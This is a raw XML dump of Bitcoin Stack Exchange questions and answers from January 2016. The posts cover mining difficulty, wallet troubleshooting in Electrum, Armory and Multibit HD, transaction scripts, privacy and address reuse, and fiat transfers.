  <row Id="42336" PostTypeId="1" CreationDate="2016-01-13T19:58:53.363" Score="0" ViewCount="160" Body="&lt;p&gt;I’ve been using two &lt;code&gt;AntMiner S5 ~1155Gh/s&lt;/code&gt; and was able to mine about 0.02 Bitcoin.&#xA; However, recently I’m just able to about 0.01 Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use F2Pool for mining. I thought first the other one isn’t working but it does.&#xA;Does anyone know what is going on here?&lt;/p&gt;&#xA;" OwnerUserId="31958" LastEditorUserId="5406" LastEditDate="2016-01-15T08:42:46.053" LastActivityDate="2022-08-25T13:18:11.640" Title="I'm not able to mine as much Bitcoin as I was able to a couple of months ago" Tags="|difficulty|mining-profitability|antminer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42337" PostTypeId="2" ParentId="42336" CreationDate="2016-01-13T20:23:03.597" Score="3" Body="&lt;p&gt;As more people contribute to mining, Bitcoin automatically adjusts the &lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow&quot;&gt;&quot;difficulty&quot;&lt;/a&gt; so that the number of new bitcoins created by mining is roughly the same over time. The &lt;a href=&quot;https://bitcoinwisdom.com/bitcoin/difficulty&quot; rel=&quot;nofollow&quot;&gt;difficulty has increased rapidly in the last few months&lt;/a&gt;, and in fact it has nearly doubled since November 2015. This matches with your performance numbers. Your existing hardware will become less useful over time.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2016-01-13T20:23:03.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42338" PostTypeId="2" ParentId="42333" CreationDate="2016-01-13T20:49:57.157" Score="3" Body="&lt;p&gt;If you assume you are not being attacked, in the sense that your internet connection is not being restricted in a way that it allows you to only connect to an attacker's nodes without you noticing (Sybil attack). And note that that's actually an assumption that doesn't always hold and you can't really prove you're NOT being attacked, so it &lt;em&gt;is&lt;/em&gt; certainly a security concern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that assumption holds then you are really connecting to a random node of your chosing that is not run by a centralized organisation or even group of people. Centralized would imply that there is some center that is the authority to decide what is truth. That is not the case here, even using SPV. So yes, I'd say it's decentralized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note also that instead of connecting to just one random peer you can connect to multiple so you can doublecheck that one is not lying. Although depending on the situation it may be hard to judge which peer is lying and which is telling the truth, so you may end up having to trust &quot;the majority&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, an upcoming update called Segregated Witness is going to make Fraud Proofs possible. That will allow a single honest node to simply prove a statement, so even if the majority is lying you can still know for sure.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2016-01-15T08:30:34.880" LastActivityDate="2016-01-15T08:30:34.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42339" PostTypeId="1" CreationDate="2016-01-13T21:32:54.380" Score="0" ViewCount="422" Body="&lt;p&gt;I have used this wallet sever times before to send or receive. I closed, downloaded and tried again to send to multiple addresses.&#xA;Error message:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RK47s.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/RK47s.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31960" LastEditorUserId="5757" LastEditDate="2016-10-10T19:14:24.313" LastActivityDate="2016-11-09T20:09:09.163" Title="Electrum wallet giving dust error even for larger amount" Tags="|electrum|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42341" PostTypeId="1" CreationDate="2016-01-13T22:05:54.370" Score="0" ViewCount="117" Body="&lt;p&gt;If one person sold bitcoins to another person using a smartphone, will a record of the IP addresses of the devices they used be seen in the blockchain?&lt;/p&gt;&#xA;" OwnerUserId="31963" LastActivityDate="2016-01-13T23:34:08.997" Title="Anonymous Buying/Selling" Tags="|blockchain|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42343" PostTypeId="1" CreationDate="2016-01-13T23:30:23.403" Score="2" ViewCount="486" Body="&lt;p&gt;I'm having a bit of an issue that I'm sure someone more knowledgeable will be able to clarify.   I've had an old wallet using the full node client &quot;Armory&quot; for a few years, with 0.2 BTC within that I'd like to send to my new Electrum wallet.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After trying to send without a fee a few times and having it rejected by the network  (Armory has a pop-up window with a link to the transaction, saying something like &quot;if it doesn't show up on this blockchain.info transaction link in a minute, nobody picked it up so try again and this time send a fee&quot;), I decided to have it send with a fee of 0.0001 BTC.  Armory still told me that by its calculation this wasn't enough (it suggested something like .00015555 or different amounts close to that range), but this time once I waited a moment I saw the transaction post to the blockchain.info link!    My Electrum wallet also registered the arrival of the 0.1999 BTC and started to add confirmations - as of this writing it has 68 confirmations  and the new Electrum wallet  shows that amount as a balance.   On the surface all would be well except...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Armory wallet doesn't seem to show the money has left the wallet, still suggesting a spendable balance of 0.2 BTC!  It doesn't show in the transaction log either.  I figured this may be because it just hasn't &quot;seen&quot; the block as of yet, so I decided to  restart Armory even though it was currently connected to the network.  Having restarted and waited for it to go through its whole process, it still doesn't seem to notice the money is gone. I thought that Armory, because it is a full node client (and takes all that huge HDD space) would &quot;have&quot; to know that it happened.   The pop-up I got when I sent the funds telling me to wait and see on Blockchain if the transaction was accepted or not mentioned that Armory would &quot;learn&quot; about it from the network if it was..so I'm surprised it hasn't thus far. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most likely issue I can think of is that Armory hasn't caught up yet.  According to Armory, it is &quot;Connected&quot; and received its last block 1.5 hours ago and has 348324 blocks currently.  However, I noticed that according to blockchain.info linked from my Electrum wallet's transaction, it takes place on block 393144 (the transaction was made probably close to 15+ hours ago) so assuming blocks are added sequentially, it would seem Armory doesn't see it yet, right?  Why would this be? After all the time it takes for Armory to connect to the network, catch up, deal with its data bases etc.. I would expect it to be up to date, not approximately 5000 blocks behind if Armory shows it is &quot;connected&quot;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it likely the hypothesis that the transaction just hasn't been understood yet by Armory is accurate?  If so, why it so far from current?   Any other ideas  or possible issues?  Thansks&lt;/p&gt;&#xA;" OwnerUserId="31965" LastActivityDate="2017-07-27T19:36:25.287" Title="Funds still showing in old Armory wallet/address after being sent+confirmed to new Electrum one?" Tags="|transactions|blockchain|electrum|armory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42344" PostTypeId="2" ParentId="42341" CreationDate="2016-01-13T23:34:08.997" Score="2" Body="&lt;p&gt;No the blockchain does not contain IP addresses. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bitcoin node or bitcoin API server (if used) that you initially send your transaction will know the IP though and they could keep it in their own databases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For anonymous buying/selling you can use the &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Tor&lt;/a&gt; network. You may also be interested in mixing to &lt;a href=&quot;https://darknetmarkets.org/a-simple-guide-to-safely-and-effectively-mixing-bitcoins/&quot; rel=&quot;nofollow&quot;&gt;anonymize&lt;/a&gt; bitcoin address (e.g. if you bought your bitcoins from an online exchange that has your IP plus much more).&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-01-13T23:34:08.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42345" PostTypeId="1" CreationDate="2016-01-14T00:10:03.133" Score="3" ViewCount="1531" Body="&lt;p&gt;I understand the bitcoin blockchain motivates mining because there's a bitcoin reward for the miner who solves the pending block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if a blockchain doesn't store currency data but some sort of ownership data that cannot be represented by currency, e.g. tweets or land and stock ownership.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would probably be too much to reward a miner with the ownership of land. And even if it were appropriate, there could also be other cases in which the blockchain doesn't store data regarding any kind of asset ownership.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to offer reward that is not coupled to the data of the system?&lt;/p&gt;&#xA;" OwnerUserId="31966" LastEditorUserId="31966" LastEditDate="2016-01-14T05:41:26.347" LastActivityDate="2016-01-15T15:55:42.953" Title="How to reward mining in a blockchain that doesn't store currency?" Tags="|blockchain|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42346" PostTypeId="2" ParentId="42331" CreationDate="2016-01-14T05:29:16.063" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is Ethereum essentially Bitcoin with a Turing-complete scripting language and, if I understand correctly, where the script to be executed (not its hash) is placed in the Ethereum blockchain?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's a bit of a simplification, (Ethereum has other improvements like GHOST) but for our purposes (discussing how a Turing complete scripting language could be implemented) it's essentially accurate.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If so, why doesn't Ethereum just put hashes of its scripts in the Bitcoin blockchain, send the scripts to be executed through another secure means such as via a P2P network (which would greatly reduce blockchain bloat), and avoid being an altcoin altogether?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;One of the important features of Ethereum is that you can condition spending funds on the output of a script. For example, you could write a lottery script that accepts money from a bunch of different people, and randomly sends all of the money to the winner. Imagine that we change this system so that only the hash of the script is included in the blockchain:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If it's &lt;em&gt;not&lt;/em&gt; a consensus rule, then other nodes will accept a transaction that doesn't satisfy the attached script. In other words, if nodes can't see the entire script, how can a node know whether someone claiming the lottery winnings is actually authorized to do that?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If it &lt;em&gt;is&lt;/em&gt; a consensus rule, that introduces a new set of problems. First, in order to tell if a block is valid, you need to download the scripts from the P2P network, and check that all of the scripts are valid. That increases the amount of time it takes to verify blocks, and therefore increases the amount of orphan blocks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second problem that this introduces is that full nodes synchronizing for the first time need these scripts, or they won't be able to check that the blocks are valid. Therefore, the scripts need to be stored indefinitely, in case new nodes join the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't really solve the blockchain bloat - it just moves the problem around.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's one more solution that &lt;em&gt;does&lt;/em&gt; use the Bitcoin blockchain, though. You could follow Counterparty's example, and create a system where you send a Bitcoin transaction with additional metadata to identify it as a colored coin. You don't change transaction validity rules on the main network; rather, you say that if the transaction doesn't follow certain rules, then it is not a valid TuringCoin transaction for the purpose of establishing ownership of TuringCoins. (Other TuringCoin transactions within the same block would still be valid, though.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's not an altcoin in the traditional sense (you're using Bitcoin's blockchain, and you must pay Bitcoin transaction fees) but it is an altcoin in the sense that you're creating your own token that isn't fungible with Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If not, is the gas limit the real distinguishing feature of Ethereum compared to Bitcoin?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The gas limit in Ethereum is present for essentially the same reason that people have proposed making transactions in Bitcoin larger than 100KB invalid: otherwise, it becomes possible to create a block that takes a really long time to validate.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2016-01-14T05:35:05.043" LastActivityDate="2016-01-14T05:35:05.043" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42347" PostTypeId="1" CreationDate="2016-01-14T06:55:13.027" Score="4" ViewCount="202" Body="&lt;p&gt;It is often said that, due to the natural transparency of the blockchain, one should have a multi-address wallet and try to not reuse addresses, so that the user's transactions are not so easily revealed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, it seems at some point we will have the &lt;a href=&quot;https://people.xiph.org/~greg/confidential_values.txt&quot; rel=&quot;nofollow&quot;&gt;Confidential Transactions feature&lt;/a&gt; implemented in Core. So, when this moment arrives, will we be able to reuse addresses? Will it be safe to use a mono-address wallet?&lt;/p&gt;&#xA;" OwnerUserId="2751" LastActivityDate="2016-01-14T16:33:27.020" Title="Will Confidential Transactions allow us to reuse addresses safely?" Tags="|blockchain|wallet|privacy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42348" PostTypeId="2" ParentId="42339" CreationDate="2016-01-14T10:10:11.647" Score="1" Body="&lt;p&gt;Please try switching servers using the Network option or the green dot button in the bottom-right. Try making the same payment from a different server.&lt;/p&gt;&#xA;" OwnerUserId="2467" LastActivityDate="2016-01-14T10:10:11.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42349" PostTypeId="2" ParentId="42339" CreationDate="2016-01-14T10:13:12.270" Score="1" Body="&lt;p&gt;The dust threshold depends on the min relay fee, which is a server setting.&#xA;Thus, it is server dependent. At this point, this threshold is not sent by the Electrum server to the client, but it is a default value, hardcoded in the client. That default value might be lower than the value set by the server you are using. Try to use another server.&lt;/p&gt;&#xA;" OwnerUserId="15558" LastActivityDate="2016-01-14T10:13:12.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42350" PostTypeId="1" CreationDate="2016-01-14T11:12:02.317" Score="-1" ViewCount="712" Body="&lt;p&gt;I have BTC and someone else has a bank account (in Euro).&#xA;Are there options for me to transfer an amount from my BTC wallet to their EUR bank account?&lt;/p&gt;&#xA;" OwnerUserId="31977" LastActivityDate="2016-01-14T11:54:15.200" Title="Transfer BTC to EUR to someone else's bank account" Tags="|money-transfer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42351" PostTypeId="2" ParentId="42350" CreationDate="2016-01-14T11:54:15.200" Score="-1" Body="&lt;p&gt;You can check out &lt;strong&gt;Cashila&lt;/strong&gt; - &lt;a href=&quot;https://www.cashila.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.cashila.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a EU-licensed payment processor that enables you to send your bitcoins to a third-party bank account. Great for paying your bills or sending someone some fiat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works the other way around too. You can receive payments/deposits from whoever you want into your online wallet, both SEPA and bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="31978" LastActivityDate="2016-01-14T11:54:15.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42353" PostTypeId="2" ParentId="42347" CreationDate="2016-01-14T13:03:34.287" Score="1" Body="&lt;p&gt;I wouldn't advice that. That still leaves a huge amount of meta data visible to everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, why would you. HD wallets are very well supported these days.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-01-14T13:03:34.287" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42354" PostTypeId="1" AcceptedAnswerId="42357" CreationDate="2016-01-14T14:49:26.420" Score="1" ViewCount="176" Body="&lt;p&gt;I am not fully understanding the design purpose of the scriptPubKey in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction&quot; rel=&quot;nofollow&quot;&gt;transaction output&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the tx's (say tx1 here) output could just be the receiver's public key's hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when the receiver want to send the money to another one, he only needs to create the transaction tx2 (with receiver's public key and the sig of the previous transaction).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the bitcoin net work could check:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is the public hash(tx2.public_key) = t1.output.hash_public_key?&lt;/li&gt;&#xA;&lt;li&gt;Verify(tx2.sign, tx2.public_key, tx1)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;a+b can approve that this transaction is created by the receiver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, I am not quite understanding why we need to save &#xA;OP_DUP OP_HASH160 next_receiver_public_key_hash OP_EQUALVERIFY OP_CHECKSIG&#xA;in the tx.output.&lt;/p&gt;&#xA;" OwnerUserId="31947" LastEditorUserId="23340" LastEditDate="2016-01-14T20:20:42.977" LastActivityDate="2016-01-14T20:20:42.977" Title="Why scriptPubKey is a series of commands?" Tags="|transactions|public-key|output|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42355" PostTypeId="2" ParentId="42347" CreationDate="2016-01-14T16:33:27.020" Score="6" Body="&lt;p&gt;My understanding of confidential transactions is that it only hides the amounts, not the addresses involved (someone please let me know if this is not the case). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since only the amount is hidden, reusing the same address would still connect your various transactions together, linking them as likely involving the same user. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2016-01-14T16:33:27.020" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="42357" PostTypeId="2" ParentId="42354" CreationDate="2016-01-14T19:07:39.953" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Therefore, I am not quite understand why we need to save&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because scripting system allows more possibilities. &lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Scripts&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Script#Scripts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2016-01-14T19:07:39.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42358" PostTypeId="2" ParentId="42314" CreationDate="2016-01-14T19:29:06.907" Score="1" Body="&lt;p&gt;To phrase the question in my own words: Can you prove that a transaction output was unlocked with a different private key than originally intended?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short answer: You can or can't, depending on the situation.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A standard transaction output script works like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Assume that the stack starts with two items, with the public key on top and the signature below.&lt;/li&gt;&#xA;&lt;li&gt;Duplicate the public key (topmost item).&lt;/li&gt;&#xA;&lt;li&gt;Compute its hash.&lt;/li&gt;&#xA;&lt;li&gt;Push the expected hash, which is the payee's address (20-byte SHA-256 + RIPEMD-160 hash).&lt;/li&gt;&#xA;&lt;li&gt;Compare and assert that the top two items are equal.&lt;/li&gt;&#xA;&lt;li&gt;Restore the stack to the initial state, and use the two items to check the signature.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A standard transaction input script works like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Push the signature.&lt;/li&gt;&#xA;&lt;li&gt;Push the public key (this is now at the top of the stack).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Because of this underlying mechanism, here are the implications:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If an output to a specific address has never been spent before, then the public key has never been seen by the Bitcoin network. Thus the first time that a valid public key shows up (whose SHA-256 + RIPEMD-160 hash matches), it is indistinguishably as valid as any other public key that has the same hash (which is extremely unlikely to find one, of course).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If an output to a specific address has been spent before, then the network has recorded one or more public keys that were used to spend that address. The Bitcoin/blockchain protocol does not mandate that the public key must be the same; in other words there is no notion of &quot;key pinning&quot;. Although it is plausible for an individual miner's Bitcoin client to enforce key pinning, I don't expect this to be a feature that becomes implemented.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="23340" LastActivityDate="2016-01-14T19:29:06.907" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="42359" PostTypeId="1" CreationDate="2016-01-14T19:55:05.750" Score="1" ViewCount="864" Body="&lt;p&gt;I have 4 wallets in Multibit HD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have password, secret words and time stamps for each wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to move to a new computer, I know that I can use RESTORE button in Multibit HD. but I am afraid of losing my money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: I know that Multibit HD stores all data in:&#xA;C:\Users\username\Appdata\Roaming\MultibitHD&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i copy that folder to the new computer, can I open my wallets without need to restoring?&lt;/p&gt;&#xA;" OwnerUserId="31995" LastActivityDate="2016-04-03T22:50:29.400" Title="Import Multibit HD Wallets" Tags="|wallet|wallet-recovery|multibit-hd|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42360" PostTypeId="1" CreationDate="2016-01-14T20:45:23.543" Score="0" ViewCount="121" Body="&lt;p&gt;As in, not the miner's timestamp in the blockheader which can be +/- 2 hours, but the receiving node's local time. My concern is the real-world time that elapses between blocks.&lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2016-01-15T03:33:44.190" Title="Is there a way to get the node's local time when a block was received?" Tags="|json-rpc|nodes|timestamp|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42361" PostTypeId="2" ParentId="42333" CreationDate="2016-01-14T21:28:31.133" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=1326793.msg13543079#msg13543079&quot; rel=&quot;nofollow&quot;&gt;dan91 wrote on BitcoinTalk.org&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I believe green address uses some of their own servers and some electrum servers for verification. BreadWallet does use full nodes as i have seen some userid's with BreadWallet connect to mine.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2016-01-14T21:28:31.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42363" PostTypeId="2" ParentId="42141" CreationDate="2016-01-15T00:03:45.763" Score="0" Body="&lt;p&gt;Firstly I am not a lawyer, secondly I am not providing legal advice. Always consult with a lawyer before taking any actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my view of the way bitcoin works you are not a custodian unless you have access to spend the bitcoins in question, so it may depend upon which implementation of multisig is implemented.  If you are using a 2 of 3 multisig and the web service in question only stores one key then they are not capable of spending the bitcoin in question thus not a custodian.  If you implemented a 2 of 3 system and were in control of 2 of the keys then you would be considered a custodian.  NYSDFS has not clarified the definition of custody as it relates to multisig today, but perhaps an organization that has gone through the bitlicense process could question the DFS as it relates to this matter.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-01-15T00:03:45.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42364" PostTypeId="2" ParentId="41329" CreationDate="2016-01-15T02:35:57.853" Score="0" Body="&lt;p&gt;Income is income if you make a gain it would be reportable on your taxes regardless of amount.  I am not aware of any software currently that tracks income gained/lost based on current bitcoin prices, but it should be trivial if someone owes you $200 and they send you the BTC equivalent and you hold it for a short term and when you sell you get $220 the $20 increase in value would be reportable as short term income.  Also I am not a lawyer  and this does not constitute legal advice always consult a lawyer and an accountant for specific local regulations that may or may not apply to your situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. the $600 limitation is placed on businesses when they determine if they need to send out a 1099 form or not.  &lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-01-15T02:35:57.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42365" PostTypeId="2" ParentId="42292" CreationDate="2016-01-15T02:50:52.520" Score="2" Body="&lt;p&gt;You may find the following post relevant:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/37247/wallet-dat-0-4-0-format-retrieving-bitcoin-possible-security-concerns&quot;&gt;Wallet.dat (&amp;lt;0.4.0) format: retrieving Bitcoin, possible security concerns&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This post details some of the steps you may need to perform to import the wallet into a current client, the biggest time consumer will be waiting for the full blockchain to sync with the current network. &lt;/p&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2016-01-15T02:50:52.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42366" PostTypeId="2" ParentId="42360" CreationDate="2016-01-15T03:33:44.190" Score="1" Body="&lt;p&gt;When your bitcoin node connects to another node it requests the current timestamp from the node.  It stores this value to calculate the offset from your PC's clock.  As you may be aware the bitcoin network calculates the network time based upon the average offset of the peers that it is connected to.  This will never alter the systems clock more than 70 minutes in regards to network time calculations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;References:&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_timestamp&quot; rel=&quot;nofollow&quot;&gt;Block timestamp&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-01-15T03:33:44.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42367" PostTypeId="2" ParentId="36064" CreationDate="2016-01-15T03:47:14.123" Score="1" Body="&lt;p&gt;You should be able to add your current user to the plugdev group in Linux to be able to access the GPU as a standard user.  This can be accomplished by the following command:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;sudo usermod -G plugdev -a &lt;code&gt;whoami&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There may be some additional bits of information that are relevant in the &lt;a href=&quot;http://ck.kolivas.org/apps/cgminer/README&quot; rel=&quot;nofollow&quot;&gt;README&lt;/a&gt; on the cgminer website.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-01-15T03:47:14.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42368" PostTypeId="2" ParentId="32314" CreationDate="2016-01-15T04:17:20.167" Score="1" Body="&lt;p&gt;mSIGNA can connect to any bitcoin node that is publicly available online.  There is a list of nodes that can currently be reached online from &lt;a href=&quot;https://bitnodes.21.co/&quot; rel=&quot;nofollow&quot;&gt;Bitnodes&lt;/a&gt;.  The IP address of any public node can be specified by following the instruction from the &lt;a href=&quot;https://ciphrex.com/docs/mSIGNA-Getting_Started.pdf&quot; rel=&quot;nofollow&quot;&gt;mSIGNA Getting Started Guide&lt;/a&gt; is excerpted below:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you  would   prefer  to  connect to  a   remote  bitcoin node,   you can change&lt;br&gt;&#xA;  the IP  address and port    under   Network-&gt;Settings…(File-&gt;Preferences&lt;br&gt;&#xA;  …   on  Mac).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;NOTE:  mSIGNA™ only    connects    via the peer-to-peer    protocol    and does not    require any special RPC access  to  other   nodes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-01-15T04:17:20.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42369" PostTypeId="2" ParentId="42345" CreationDate="2016-01-15T04:35:19.663" Score="-1" Body="&lt;p&gt;Currently the Bitcoin blockchain uses coinbase transactions to reward miners when a block is found.  There is no reason this functionality can't be changed. It is also worth nothing that there are other ways to secure blockchains besides Proof of work, which is what the Bitcoin blockchain implements to come to consensus on who owns which assets.  If someone were to implement a different consensus model in their own blockchain any kind of reward that the developer could conceive of could be implemented.  Consult with several  software engineers if you have an idea that you are unsure of how you could implement such a system.  &lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-01-15T04:35:19.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42371" PostTypeId="1" CreationDate="2016-01-15T11:28:38.570" Score="2" ViewCount="625" Body="&lt;p&gt;For a long while, blockchain.info offered a web wallet with a convenient web API, but it recently turned out that it now requires an installation to function. I'm wondering - are there any other reputable web wallets out there for developers, with open APIs for sending / receiving coins that don't require an installation of any sorts?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2016-08-13T09:22:04.053" Title="Are there any web wallets around with open APIs?" Tags="|wallet|development|api|e-wallet|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
